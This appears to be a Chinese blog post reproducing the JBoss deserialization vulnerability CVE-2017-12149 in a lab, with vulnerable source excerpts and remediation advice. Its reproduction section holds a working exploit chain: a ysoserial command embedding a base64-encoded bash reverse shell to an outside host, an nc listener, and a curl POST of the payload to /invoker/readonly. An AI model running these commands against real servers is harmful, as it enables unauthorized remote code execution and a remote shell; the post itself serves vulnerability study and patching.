JBoss 反序列化漏洞复现

JBoss 反序列化漏洞复现

漏洞描述:


互联网爆出JBOSSApplication Server反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。漏洞危害程度为高危(High)。

影响范围:


漏洞影响5.x和6.x版本的JBOSSAS。

漏洞分析:

Java序列化与反序列化作用:便于保存数据,或者进行数据传输。

Java序列化文件文件头对于序列化的标识:AC ED 00 05。

序列化
FileOutputStream fos = new FileOutputStream(file);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(st);
 
反序列化
FileInputStream fis = new FileInputStream(file);
ObjectInputStream ois = new ObjectInputStream(fis);
Student st1 = (Student) ois.readObject();

漏洞出现在 Jboss 的 HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,源码在jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中,其中doFilter函数代码如下:

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
    throws IOException, ServletException
  {
    HttpServletRequest httpRequest = (HttpServletRequest)request;
    Principal user = httpRequest.getUserPrincipal();
    if ((user == null) && (this.readOnlyContext != null))
    {
      ServletInputStream sis = request.getInputStream();
      ObjectInputStream ois = new ObjectInputStream(sis);
      MarshalledInvocation mi = null;
      try
      {
        mi = (MarshalledInvocation)ois.readObject();
      }
      catch (ClassNotFoundException e)
      {
        throw new ServletException("Failed to read MarshalledInvocation", e);
      }
      request.setAttribute("MarshalledInvocation", mi);
 
      mi.setMethodMap(this.namingMethodMap);
      Method m = mi.getMethod();
      if (m != null) {
        validateAccess(m, mi);
      }
    }
    chain.doFilter(request, response);
  }

直接从http中获取数据,在没有进行检查或者过滤的情况下,尝试调用readobject()方法对数据流进行反序列操作,因此产生了Java反序列化漏洞。

漏洞复现:

在浏览器中输入http://x.x.x.x:8080打开目标机jboss默认界面。之后进入漏洞页面http://x.x.x.x:8080/invoker/readonly。http响应码500(内部服务器错误——服务器端的CGI、ASP、JSP等程序发生错误),分析猜想,此处服务器将用户提交的POST内容进行了Java反序列化。

 

 

使用工具ysoserial来生成序列化数据,构造POC(Proof Of Concept),使用bash反弹Shellnc接受反弹回来的Shellysoserial地址

从github下载工具ysoserial 后,打开源代码能看到在处理数据时使用了Runtime.getRuntime().exec(String cmd),此时调用Runtime.getRuntime().exec(String command, String[] envp, File dir),直接构造的字符串会被下面的代码分割:
 

/**
     * Constructs a string tokenizer for the specified string. The
     * tokenizer uses the default delimiter set, which is
     * <code>"&nbsp;&#92;t&#92;n&#92;r&#92;f"</code>: the space character,
     * the tab character, the newline character, the carriage-return character,
     * and the form-feed character. Delimiter characters themselves will
     * not be treated as tokens.
     *
     * @param   str   a string to be parsed.
     * @exception NullPointerException if str is <CODE>null</CODE>
     */
    public StringTokenizer(String str) {
        this(str, " \t\n\r\f", false);
    }

 StringTokenizer会对\t\n\r\f进行分割,所以如果输入命令

bash -c `bash -i >& /dev/tcp/127.0.0.1/21 0>&1`
bash
-c
`bash
-i
>&
/dev/tcp/127.0.0.1/21
0>&1`

 此时需要进行编码,地址,勾选Bash

 注:Linux下的${IFS}也可进行编码,${IFS}的hex值是0x20 0x09 0x0a,因此不被分割,可以利用在写shell时的命令中。需要注意是,${IFS}编码后的命令中有空格,重定时,文件名中有空格会造成命令解析不完整,写入文件会失败。而在反弹shell命令中,就会导致模糊的重定向错误。

构造生成Payload:

ysoserial的用法:java -jar ysoserial.jar [payload] '[command]'
[payload] : 利用库,根据服务器端程序版本不同而不同,若如报错,可尝试跟换其他利用库。
[command] : 待执行的命令。
执行命令:
java  -jar  ysoserial.jar  CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTEuMi82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser

设置nc本地监听端口6666  nc -l -p 6666。
发送请求,获取Shell。服务器接收到以POST的方式发送的序列化数据,会进行反序列化,执行其中包含的命令,将Shell反弹至Kali机器的6666端口。我们使用curl命令发送请求,打开命令行,执行如下代码:curl http://x.x.x.x:8080/invoker/readonly --data-binary @poc.ser 

 

 反弹shell回来。

漏洞修复:


升级新版本。
删除http-invoker.sar 组件。
/jboss/jboss-eap-4.3/jboss-as/server/production/deploy/httpha-invoker.sar/invoker.war/WEB-INF/web.xml(如下图)
添加security-constraint 标签<url-pattern>/*</url-pattern>用于对 http invoker 组件进行访问控制。

 添加如下代码至 http-invoker.sar 下 web.xmlsecurity-constraint 标签中:<url-pattern>/*</url-pattern>用于对 http invoker 组件进行访问控制。

猜你喜欢

转载自blog.csdn.net/qq_48985780/article/details/121464648